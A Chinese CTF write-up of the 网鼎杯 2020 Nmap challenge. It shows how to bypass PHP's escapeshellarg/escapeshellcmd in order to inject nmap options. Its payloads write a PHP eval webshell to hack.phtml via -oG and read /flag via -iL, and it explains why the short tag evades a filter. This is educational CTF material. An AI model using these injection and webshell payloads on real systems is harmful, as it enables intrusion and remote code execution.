[网鼎杯 2020 朱雀组]Nmap1

打开题目

在源代码中看到了提示

先随便输入127.0.0.1

那我们试试输入

127.0.0.1 | ls

可以看到 | 被转义符号\所转义

那我们输入 127.0.0.1 /| ls

得到三条反斜线

我们猜测,我们输入的东西是被escapeshellarg和escapeshellcmd处理过后的结果

我们输入的东西必须绕过这两个函数

1.直接放入payload

' <?php @eval($_POST["y"]);?> -oG hack.php '

可以看得出来对php字段有过滤

我们修改payload为' <?= @eval($_POST["y"]);?> -oG hack.phtml '

访问成功

蚁剑连接一下

在根目录下找到了flag

代码在linux下的运行结果

2.或者payload为

127.0.0.1' -iL /flag -o uuuu

我们访问一下uuuu' 文件

本来最开始我在idea运行的代码,感觉按照这个payload来应该是访问uuuu"

结果大佬告诉我linux下的php运行结果和window下的php运行结果不一样

这是linux下的运行结果

所以就应该是访问uuuu'

知识点:

1.转义字符

转义字符是指在ASCII码和Unicode等字符集中的无法被键盘录入的字符被当作特殊用途而需要转换回它原来的意义的字符。而转义字符转义是指字符已经被转换了意义

2.escapeshellcmd和escapeshellarg函数

escapeshellarg函数

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。也就是会把一些字符替换成空格。

escapeshellcmd函数

**反斜线(\)会在以下字符之前插入:&#;|*?~<>^()[]{}$\、\x0A 和 \xFF** 。 **' 和 " 仅在不配对儿的时候被转义**。在 Windows 平台上,所有这些字符以及 %! 字符前面都有一个插入符号(^`)。也就是会在这些字符前面插入 \ ,如果是在windows上就会插入^

实例:

详情见:

PHP: escapeshellcmd - Manual

nmap的一些命令

其中 target 是要扫描的目标主机或 IP 地址。这将在名为 output.txt 的文件中生成 grepable 格式的输出

  • nmap -iL target.txt

读取文件内容,以文件内容作为搜索目标,nmap 将读取 target.txt 文件中的每个目标,然后对每个目标执行扫描操作,并显示扫描结果。请确保 target.txt 文件的格式是每行一个目标主机或 IP 地址

如 nmap -iL target.txt -o result.txt

//扫描target.txt里面的内容并输出保存为result.txt

  • nmap -o系列

输出

-oN 标准输出

-oX XMl输出

-oS script jlddi3

-oG grepable

-oA 同时输出三种主要格式

-v 信息详细级别

-d 调试级别

--packet-trace 跟踪发送和接收的报文

--reason 显示端口处于特殊状态的原因

--open 仅显示开放的端口

关于一句话木马的小知识点

为什么<?php @eval(_POST["y"]); ?>可以替换成<?= @eval(_POST["y"]); ?>

主要是因为在php中,

<?=

?>

等价为

<?php echo

?>

总而言之就是,在 PHP 中,'<?= ?>' 是一种简短的标记,用于输出内容。它等效于 '<?php echo ?>' ,一句话木马就是php代码,需要去解析php,支持解析的文件有php3,php4,php5,phtml

知识点参考;

https://paper.seebug.org/164/

参考wp:

https://www.cnblogs.com/AikN/p/15727575.html

BUUCTF [网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

https://www.cnblogs.com/DenZi/articles/15343512.html

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082856 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe6 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5